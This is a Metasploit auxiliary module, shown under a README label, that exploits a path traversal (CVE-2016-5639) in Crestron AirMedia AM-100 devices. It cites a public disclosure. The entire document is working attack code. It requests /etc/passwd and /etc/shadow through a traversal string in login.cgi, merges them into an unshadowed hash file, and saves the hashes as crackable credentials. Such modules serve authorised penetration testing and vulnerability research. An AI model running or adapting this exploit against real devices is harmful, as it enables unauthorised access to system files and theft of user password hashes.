README.md
Rendering markdown...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Crestron AirMedia AM-100 Linux Password Hash Dump',
'Description' => %q{
This module exploits a path traversal in Crestron AirMedia AM-100 devices with
firmware version <1.4.0.13. This module extracts and de-shadows Linux
password hashes from the device (not the AirMedia application passwords).
},
'References' => [
[ 'CVE', 'CVE-2016-5639' ],
[ 'URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md' ]
],
'Author' => [
'Forrest'
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => "2016-08-01"
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class
)
end
# Function for attempting the directory traversal
def get_file_function(file_path, opts = {})
begin
res = send_request_cgi(
{
'uri' => normalize_uri("/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../..", file_path),
'method' => 'GET',
'ssl' => true,
'port' => rport
}
)
return res
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP(S) Connection Failed...")
return
end
end
def run
print_status("#{rhost}:#{rport} - Attempting path traversal to files...")
passwd_response = get_file_function("/etc/passwd")
good_passwd_response = (
passwd_response &&
passwd_response.code == 200
)
if good_passwd_response
print_good("#{rhost}:#{rport} - Successfully retrieved /etc/passwd...")
path = store_loot("linux.passwd", "application/octet-stream", rhost, passwd_response.body, "passwd", "Linux Passwd File")
print_good("Saved /etc/passwd to: " << path)
else
print_error("#{rhost}:#{rport} - Failed to retrieve /etc/passwd...")
return false
end
shadow_response = get_file_function("/etc/shadow")
good_shadow_response = (
shadow_response &&
shadow_response.code == 200
)
if shadow_response
print_good("#{rhost}:#{rport} - Successfully retrieved /etc/shadow...")
path = store_loot("linux.shadow", "application/octet-stream", rhost, shadow_response.body, "shadow", "Linux Shadow File")
print_good("Saved /etc/shadow to: " << path)
else
print_error("#{rhost}:#{rport} - Failed to retrieve /etc/shadow...")
return false
end
# Stolen from post/linux/gather/hashdump
john_file = unshadow(passwd_response.body, shadow_response.body)
john_file.each_line do |l|
hash_parts = l.split(':')
credential_data = {
jtr_format: 'md5,des,bsdi,crypt',
origin_type: :service,
post_reference_name: self.refname,
private_type: :nonreplayable_hash,
private_data: hash_parts[1],
username: hash_parts[0],
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good(" #{l.chomp}")
end
path = store_loot("crestron_linux.hashes", "text/plain", rhost, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
print_good("File saved to path: " << path)
end
# Stolen from post/linux/gather/hashdump
def unshadow(pf,sf)
unshadowed = ""
sf.each_line do |sl|
pass = sl.scan(/^\w*:([^:]*)/).join
if pass !~ /^\*|^!$/
user = sl.scan(/(^\w*):/).join
pf.each_line do |pl|
if pl.match(/^#{user}:/)
unshadowed << pl.gsub(/:x:/,":#{pass}:")
end
end
end
end
unshadowed
end
end